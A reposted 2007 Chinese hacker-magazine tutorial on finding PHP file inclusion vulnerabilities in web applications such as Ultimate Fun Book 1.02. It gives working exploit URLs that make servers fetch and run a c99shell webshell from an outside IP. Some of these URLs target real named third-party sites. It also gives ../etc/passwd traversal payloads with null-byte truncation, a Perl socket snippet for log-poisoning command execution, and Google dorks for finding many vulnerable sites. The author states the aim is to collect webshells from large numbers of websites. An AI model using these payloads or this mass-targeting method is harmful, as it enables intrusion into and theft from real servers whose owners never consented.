PHP漏洞挖掘之旅——远程文件包含漏洞

2011, April 21, 8:31 AM. PHP学习
Submitted by admin

 本篇文章源自《黑客防线》2007年5月刊
转载请注明版权

作者:cnbird[H.U.C]河北泊头杨宁
===================================
 
大家好,我是cnbird[H.U.C],从这期开始,我将分几期来带领大家一起走进自己挖掘PHP漏洞的殿堂。
我的思路是这样的,先从最最简单的远程文件包含漏洞入手,因为远程文件包含漏洞容易查找,并且危险系数非常高。像我一样的菜鸟,容易挖掘出像这样简单但却利用率高的漏洞。之后就是传说中的SQL注入漏洞,涉及将会很广泛,从非常普通的$_POST和$_GET方式的SQL注入到比较高级的$_SESSION变量的注入。当然,我还会告诉大家如何在Linux下用grep命令快速寻找这样的SQL注入漏洞,以及如何http://google.com/codesearch中寻找大量的特定SQL注入漏洞代码。第三步就是教大家如何寻找上传漏洞、远程代码运行,以及远程修改管理员密码等高级的PHP漏洞。
小提示
Get和Post是HTTP/1.1协议中的两个传送数据的方式。两者的区别通过提交表单才能看得出来,主要是在数据发送方式和接收方式上。一般来说,尽量避免使用Get方式提交表单,因为有可能会导致安全问题。比如在登录表单中用Get方式,用户输入的用户名和密码将在地址栏中暴露无遗。但是在分页程序中,用Get方式就比用Post方式好。

挖掘PHP漏洞的基本环境
要搭建PHP运行环境,Windows下的用户可以下载WAPM来构造,它是运行于Windows平台的综合网络服务器系统,包含了以下组件:Apache2,互联网上最流行的Web服务软件之一,用于提供基本的Web服务功能,支持SSL、GZIP和LIC(IP同时连接数限制)功能;PHP4或PHP5,流行的动态网页语言,用于提供PHP语言的网络应用程序开发,支持ZendOptimizer优化功能和Zend加密功能,或者Turck MMCahe对PHP的加速、优化、加密、动态缓存功能;Tomcat4,用以提供JSP和Servlet的服务解析。MySQL4,用以SQL数据库功能。
如果是Linux下的用户就必须要有Apache和MySQL的支持。强烈推荐大家在Linux下操作文中的实例,因为这对熟悉PHP漏洞挖掘非常有帮助,比如我们要用到的grep的搜索字符串功能。

PHP远程文件包含漏洞原理
        什么才是远程文件包含漏洞呢?简单的说,就是服务器通过PHP的任意文件包含过滤不严,从而去执行一个恶意文件,这是程序过滤上的问题。PHP远程文件包含漏洞涉及的4个函数是include()、require()、include_once()和require_once(),它们之间的区别请,大家可以参http://php.chinaunix.net/manual/zh/function.include.php中的说明,我就不在这里不浪费口舌了。

PHP远程文件包含漏洞中的三种类型
        也许大家对PHP远程文件包含漏洞已经知道了很多,但是绝对不知道远程文件包含漏洞还包含三种类型吧?以下的内容是从我多年的漏洞代码分析中总结出来的经验,这部分大家一定不要错过,这三种类型我都会详细分析的。
第一种是PHP远程文件包含就是大家经常使用到的,用于测试的主角是Ultimate Fun Book 1.02,一个德国的小巧的记事本。下面我们就开始一步步地分析如何找远程文件包含漏洞并加以利用。
下载源代码到我的RedHat Linux操作系统上,用unzip命令解压缩zip包,进入程序的主目录,如图1所示。首先讲解一下grep的用法,这样大家可以方便地挖掘自己的漏洞。grep(global search regular expression(RE) and print out the line全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。我们主要使用的参数有如下几个:-n,在匹配的行前面打印行号;-r,递归查询,简单的说就是查询当前目录下所有的文件;匹配符*能匹配所有文件类型。具体的解释大家可以参http://man.chinaunix.net/newsoft/grep/open.htm。 
大小: 40.06 K
尺寸: 500 x 314
浏览: 26 次
点击打开新窗口浏览全图

图1
理解了grep的用法后,结合前面讲解的PHP远程文件包含涉及的几个函数,我们开始挖掘自己的漏洞之旅吧。
在命令行中输入“grep -r -n 'include' *”,如图2所示,没有输出任何结果,说明这个程序没有用到include函数。继续输入“grep –n –r 'require' *”,如图3所示,嘿嘿,出来了几个。此时注意看“ufbook/function.php:8:require($gbpfad."/config.php");”,结合以前的代码,我们知道这里的$gbpfad变量第一次出现,没有任何的过滤,在allow_url_fopen为ON的时候,我们就可以构建语句了,格式为“网站路径/function.php?gbpfad=远程要执行的代码”。

大小: 43.33 K
尺寸: 500 x 311
浏览: 22 次
点击打开新窗口浏览全图

大小: 46.66 K
尺寸: 479 x 181
浏览: 25 次
点击打开新窗口浏览全图  

我们先在本地测试一下,提交http://192.168.0.3/ufbook/FULL/ufbook/function.php?gbpfad=http://192.168.0.1/c99shell.txt?”,其中的192.168.0.3是我的Linux主机,192.168.0.1是我自己的机器。这条语句的意思就是让$gbpfad执行192.168.0.1上的c99shell.txt文件,如图4所示,这个时候我们就已经成功地执行了一个假的WebShell了。我们要拿到服务器上的WebShell也很简单,利用这个假的WebShell在服务器上找一个可写的目录,然后利用c99shell的上传功能把自己需要的WebShell上传就可以了。
大小: 59.29 K
尺寸: 500 x 278
浏览: 29 次
点击打开新窗口浏览全图

不过仅找到漏洞对我们来说还是不够的,我们为的是拿大量网站的WebShell。接下来我们就要找这个程序的特殊字符了,目的是为了用Google.com搜索有漏洞的网站。这套程序的特殊字符是“Powered by Ultimate-Fun-Book 1.02”,很简单也很明显,搜索后的结果如图5所示,找到了24个网站,看来用这套程序的还不是很多嘛。我们随便找一个试一下,具体过程我就省略了,大家可以用http://www.microcheese.de/ufbook/function.php?gbpfad=http://121.16.59.229/c99shell.txt?”来测试,如图6所示是我们成功后的结果。

大小: 41.76 K
尺寸: 500 x 200
浏览: 51 次
点击打开新窗口浏览全图

大小: 64.74 K
尺寸: 500 x 306
浏览: 27 次
点击打开新窗口浏览全图

第一种类型至此就分析完了,很简单吧?当然,我们防御的方法也很简单,如图7所示,只要把$gbpfad初始化一下就可以了
大小: 33.48 K
尺寸: 500 x 239
浏览: 27 次
点击打开新窗口浏览全图

图7
        第二种类型是本地包含PHP文件,这里给大家说一下漏洞所在就可以了,按照第一种方法可以找到漏洞。
漏洞代码:include“/include/” . $action . “php”;
利用方法:“exp.php?action=../../../../../etc/passwd%00”提交以后的包含代码就变成了“include “/include/” . ../../../../.,/etc/passwd%00.“php””。这里的“%00”在PHP中的意思就是截断以后的代码。比如有漏洞的地址是http://satconxion.org/instaladores/index.php?action=view&filename=../../../../../../etc/passwd”,则返回的结果就是“/etc/passwd”中的文件了,如图8所示。
大小: 48.98 K
尺寸: 500 x 319
浏览: 41 次
点击打开新窗口浏览全图

图8
第三种类型是本地文件包含其他,和第二种类型基本上差不多,就不多说了,漏洞代码为“include“/mods” . $moudle;”,漏洞利用为“exp.php?moudle=../../../../../../etc/passwd”。
其实第二种和第三种漏洞是能够直接得到WebShell的,这里先简单地跟大家解释一下,在高级部分我会详细讲解如何利用的。其原理就是把我们要执行的代码插入到Apache的日志Log中,然后自己写代码模拟Post方式向主机提交如下请求,这样就可以执行系统的命令了。

print $socket "GET ".$path."index.php?GLOBALS[tplname]=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";

关于挖掘PHP远程文件包含漏洞的讲解到这里就算结束了,最后我再教大家一个在Google.com上搜索远程文件包含漏洞的方法。首先打http://www.google.com/codesearch,搜索代码“^include\(\$(.*)\);$ lang:PHP”,意思就是搜索以include开头的匹配结果($后面是任意的名称),如图9所示,我们找到了7000个这样的程序,结合本文所写的找漏洞程序的特殊字符,就可以找到N多有漏洞的网站了,是不是很有成就感呢?呵呵,作为一个菜鸟,重要的是要多多总结,时刻记录下认为重要的东西,总结得多了,我们的技术自然就会慢慢增长了。

  大小: 54.24 K
尺寸: 500 x 302
浏览: 37 次
点击打开新窗口浏览全图

图9
        这期文章就写到这里了,下期的主要内容是SQL注入漏洞,提前透露一下,我们可不是简单地分析一些普通的没有过滤变量直接带入SQL语句查询的漏洞,而是要深入到PHP脚本程序的本身去挖掘SQL注入漏洞。好了,我们下期见吧!
 
 
 
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

Tags: 挖掘, php

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):